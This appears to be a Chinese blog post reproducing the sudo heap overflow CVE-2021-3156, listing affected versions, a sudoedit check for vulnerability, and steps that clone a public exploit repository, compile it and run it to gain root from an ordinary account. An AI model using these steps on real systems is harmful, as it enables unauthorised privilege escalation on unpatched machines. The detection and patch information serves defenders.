Linux sudo 提权漏洞 CVE-2021-3156 复现 附exp

0x01 CVE-2021-3156: 缓冲区溢出漏洞

在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。

0x02 影响版本

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

不受影响版本

Sudo =>1.9.5p2

0x03 漏洞检测

测试环境:ubuntu:20.04

检测是否存在

sudoedit -s /

如下以sudoedit:开头报错则存在此漏洞

image-20210204101652297

如果响应一个以usage:开头的报错,那么表明补丁已经生效

0x04 漏洞复现exp

当前用户为普通用户

image-20210204102142295

下载EXP

git clone https://github.com/blasty/CVE-2021-3156.git

进入编译一下

$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
$ ls
Makefile  README.md  brute.sh  hax.c  lib.c  libnss_X  sudo-hax-me-a-sandwich

image-20210204104017615

执行EXP,要选择系统

./sudo-hax-me-a-sandwich

image-20210204104245921

最终执行(因为是 ubuntu10.04.1)

./sudo-hax-me-a-sandwich 1

image-20210204104512915

提权成功

exp地址
https://github.com/blasty/CVE-2021-3156.git

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值